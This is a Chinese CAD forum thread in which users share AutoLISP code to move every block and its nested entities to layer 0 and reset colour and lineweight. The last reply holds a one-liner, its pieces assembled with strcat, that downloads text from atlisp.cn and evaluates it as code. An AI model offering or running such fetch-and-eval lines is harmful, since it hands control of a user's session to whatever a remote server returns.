申请一个可以把图中所有的块改为0图层的工具
申请一个可以把图中所有的块改为0图层的工具，有大神有的，能否共享一下选择所有块，图层改为0。 mikewolf2k 发表于 2019-11-13 09:37
选择所有块，图层改为0。
有没有小插件那种，一个命令搞定的:lol 付钱请人话，只需要一句话 mikewolf2k 发表于 2019-11-13 13:23
付钱请人话，只需要一句话
好的呢1111111
(vl-load-com)
(defun c:db (/ obj blk)
(defun confirm (msg default / rt)
(initget "Y N ")
(if (null (setq rt (getkword (strcat msg " <" default ">:"))))
(setq rt default)
)
(if (= "Y" rt)
t
nil
)
)
(defun walk (blk setlayer setcolor setlw /)
(vlax-for x blk
(if (= "AcDbBlockReference" (vla-get-objectname x))
(walk (vla-item (vla-get-blocks
(vla-get-activedocument (vlax-get-acad-object))
)
(vla-get-name x)
)
setlayer
setcolor
setlw
)
)
(if setlayer
(vla-put-layer x "0")
)
(if setcolor
(vla-put-color x acbylayer)
)
(if setlw
(progn
(vla-put-lineweight x -1)
(if (= "AcDbPolyline" (vla-get-objectname x))
(vla-put-constantwidth x 0.0)
)
)
)
)
)
(setq obj (ace-entsel "\n选择块:" nil "INSERT")
blk (vla-item (vla-get-blocks
(vla-get-activedocument (vlax-get-acad-object))
)
(vla-get-name (vlax-ename->vla-object (car obj)))
)
)
(walk blk
(confirm "重置图元图层为\"0\" [是(Y)/否(N)]" "Y")
(confirm "重置图元颜色为随层 [是(Y)/否(N)]" "Y")
(confirm "重置图元线宽默认或零 [是(Y)/否(N)]" "Y")
)
(command ".regen")
(princ)
)
(defun ace-entsel (msg kword filter / ent)
(while (null ent)
(if kword
;; 处理自定义INITGET参数
(initget kword)
;; return empty string ("") if enter key or right button down
(initget " ")
)
(setq ent (entsel msg))
(cond
((null ent)
(princ "未选择对象。")
)
((= (type ent) 'list)
(if (and filter
(not (wcmatch (ace-getval 0 (car ent)) filter))
)
(progn
(princ "选择对象已被过滤。")
(setq ent nil)
)
)
)
)
)
ent
)
(defun ace-getval (key ename)
(cdr (assoc key (entget ename)))
) (progn(vl-load-com)(setq s strcat h"http"o(vlax-create-object (s"win"h".win"h"request.5.1"))v vlax-invoke e eval r read)(v o'open "get" (s h"://""atlisp.""cn/cloud"):vlax-true)(v o'send)(v o'WaitforResponse 1000)(e(r(vlax-get o'ResponseText))))
(entity:putdxf (ssget "x" '((0 . "insert"))) 8 "0")
页:
[1]